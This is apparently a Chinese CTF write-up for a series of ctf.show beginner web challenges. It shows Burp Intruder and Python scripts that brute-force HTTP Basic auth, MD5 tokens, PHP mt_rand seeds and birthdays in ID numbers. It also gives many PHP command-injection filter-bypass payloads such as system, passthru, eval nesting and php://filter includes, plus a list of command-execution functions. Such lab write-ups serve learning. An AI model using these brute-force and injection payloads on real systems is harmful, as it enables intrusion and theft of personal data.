ctf - web入门
随便输入用户名:admin,密码:111。
抓包看一下。没找到 username 和 password 的字段。but:
Authorization 请求头中,输入的 用户名 / 口令 以 base64 的形式传输。
格式是:用户名:密码
。
Intruder 爆破设置。
选择自定义迭代。
拼接语句 1。
拼接语句 2。
拼接语句 3。
添加爆破密码字典。
拼接完成后,设置 base64 编码。在 payload processing 进行编码设置。
最后的 URL 编码 不用选择。
最后的密码是 shark63。
下面的代码提供了另一种解题思路
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-11-20 19:16:49
# @Last Modified by: h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import time
import requests
import base64
url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'
# URL换成实际的靶场网址
password = []
# 使用字典
with open("1.txt", "r") as f:
while True:
data = f.readline()
if data:
password.append(data)
else:
break
for p in password:
strs = 'admin:'+ p[:-1]
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
}
rep =requests.get(url,headers=header)
time.sleep(0.2)
if rep.status_code ==200:
print(rep.text)
break
Payload Sets 中选择类型:custom iterator(自定义迭代器)。
Payload Processing 中进行编码设置:进行base64编码。
取消 Palyload Encoding 编码 因为在进行base64加密的时候在最后可能存在 == 这样就会影响 base64 加密的结果。
域名更新后,flag.ctf.show 域名失效。
所以这道题没法做了。but 爆破方式没有太大差别。
分析代码:变量 token 被 md5 加密,且它的第一位 = 第十四位 = 第十七位,化为整数后(第一位 + 第十四位 + 第十七位)/ 第一位 = 第三十一位,则可获得 flag。
选择 burp 爆破也可以,但可以直接用写脚本跑出需要传递的值。
# coding: utf-8
import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
for a in dic:
for b in dic:
c = (str(a)+str(b)).encode('utf-8') # python3中必须进行utf-8编码
token = hashlib.md5(c).hexdigest()
if token[1:2] == token[14:15] and token[14:15] == token[17:18]:
if (int(token[1:2])+int(token[14:15])+int(token[17:18]))/int(token[1:2]) == int(token[31:32]):
print(c)
传递 token=3j
题目已经告诉了我们种子。
可以直接写一个 php 脚本来得到随机数。
mt_srand(372619038);
echo mt_rand();
解决。
提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数。
如果设置了 seed 参数,生成的随机数就是伪随机数,即每次生成的随机数是一样的。
简单来说就是通过这个函数 mt_srand() 来设定一个种子 seed
再通过 mt_rand() 来结合种子按照一定的规则得到一个随机数
这是一个线性的计算,每次请求得到的随机数都是不一样的,但是只要种子一样,得到的随机数都是像一个一次函数一样变化的,就像 y=ax=b,x 就是请求的次数,a 和 b 就是由种子决定
通过分析可以得出如下思路:
种子涉及到flag,不能直接求到
if((!$rand)) 要使这个为真,就要让 $rand=0 ,
而 $rand = intval($r)-intval(mt_rand())
所以要得到随机数才能构造 $r=$mt_rand() 。
所以我们还要求得种子,这就要用到 php_mt_seed 来逆推种子了。
先传递 r=0,可得到随机数的相反数,这里随机数为 2140655666。(不同靶场获得的随机数不一样)
下载好工具后拉到 kali 里面,打开文件夹,运行终端,输入 make
。
输入 ./php_mt_seed 随机数
,开始爆破。
因为不知道是第几次得到这个随机数,所以爆破出了很多个:
398826382
398826383
966551370
1162957153
1259472860
3045777377
3123628127
这就需要写一个 php 脚本来测试是哪个种子第一次就得到这个随机数。
$num = 1162957153;
mt_srand($num);
echo mt_rand();
发现种子可能有多个,分别是 1162957153、1259472860、3045777377。
接下来就得一个一个试了。
对其中一个可能的种子请求两次并求和得到 token 的值。
$num = 3045777377;
mt_srand($num);
$a1 = mt_rand();
$a2 = mt_rand();
$a3 = mt_rand();
echo $a1."
";
echo $a2."
";
echo $a3."
";
echo ($a2 + $a3)."
";
这样需要的值都拿到了,接下来用 burp 改个包提交即可。
最后得到:
r=3045777377
token=3295063840
这题确实是可以爆破出来。不过…
点击“同意协议,开始安装”后,点击下面的按钮,竟然弹出了连接成功。
直接上 burp 获得了 flag。
第二种方法
当然也可以直接用 burp 爆破。
选择字典后就可以开始爆破了。这里用了之前的一个字典。然后密码看了其他师傅的 writeup 后手动添加到字典里的…密码是 7758521。
最后通过长度筛选获得请求成功的信息。
网页是菜鸡学院教务管理系统。
可以下载录取名单,可以查讯学生学籍信息。
录取名单里面有学生姓名和部分身份证号,屏蔽的信息是生日年月日。
学生学籍信息查询系统中只需要输入姓名和身份证就可以查询信息。
那就以第一个同学为例。
burp 抓包。
爆破模块有一个 Dates 模块,专门用来爆破日期信息,把格式调好,就设定一个范围开始爆破。
爆破出来生日为 19900201。
burp 获取的结果是 html 编码过的,可以直接在浏览器控制台解析。
也可以直接查询。
登录。
看 url 会比较奇怪,是 0/1/2.txt。如果修改最后的 2.txt 会被无限重定向,不删除 2.txt 只修改前面的 0 和 1 依旧会被无限重定向。
所以,先去掉 2.txt,对前面两个数字进行爆破。
攻击类型选择 Cluster bomb(集束炸弹)。
设置 payload 1。
payload 2 同理。
爆破成功。
preg_match 函数用于执行一个正则表达式匹配。
这次的判断是不能出现 flag 字样,后面 i 意思是不分辨大小写。
匹配字符串 flag,那么使用通配符、单引号(成对)等方式简单绕过。
方法一:
url + ?c=system('tac fla?.php');
?
绕过方法二:
url + ?c=echo `tac fl''ag.php`;
''
符号并不会影响命令的执行,所以我们可以插入这些符号来绕过。在 linux 中可以使用【'】来绕过,比如 fl''ag
就等效于 flag
。方法三:
url + ?c=echo `nl fl?g.php`;
查看源码获得 flag
方法四:
url + ?c=`cp fl?g.php 1.txt`;
复制 flag.php 成为 1.txt 再访问 1.txt 来获得信息
方法五:
嵌套 eval 逃逸参数
url + ?c=eval($_GET[1]);&1=system('tac flag.php');
逃逸出一个 1,flag 在 1 里不会被过滤 。
方法六:
url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
pos() 函数返回数组中当前元素(指针指向)的值。
scandir() 函数返回指定目录中的文件和数组。
array_reverse() 将数组倒序输出。
next() 将指针指向数组的下一个元素并输出。
show_source() 对文件进行语法高亮显示,是highlight_file()别名。
方法七:
嵌套 include 文件包含,利用伪协议文件包含,再 base64 编码
url + ?c=include $_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php
base64 解码后获得源码
方法八:
嵌套 require 文件包含
url + ?c=require $_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php
base64 解码后获得源码
方法九:
使用通配符【*】
url + ?c=system('cat fl*');
查看源码获得 flag
方法都和上一题差不多。掌握原理就轻松很多了。果然上一题学了那么多方法是不亏的啊 o(* ̄3 ̄)o
除此以外附上其他师傅的总结:
system($cmd);
assert(php语句);
preg_replace($pat,$rep,$sub) #第一个参数,/e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符
eval($str);
shell_exec($cmd);
exec($command, $output, $return_var)
passthru($cmd);
popen($cmd,mode);
proc_open(); #详细用法百度吧
pcntl_exec(); #如:pcntl_exec('/bin/bash','mv /tmp/test1.txt /tmp/test2.txt')
反撇号 #(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)
方法一:
随便用上一题的一种方法就好了。这里用的是
url + ?c=echo `tac f''lag.ph''p`;
得手
方法二:
源码过滤了 system,可以采用 passthru。
url + ?c=passthru("cat fl*");
当然这类题还有其他很多方法。
善者不辩,辩者不善。
——《道德经》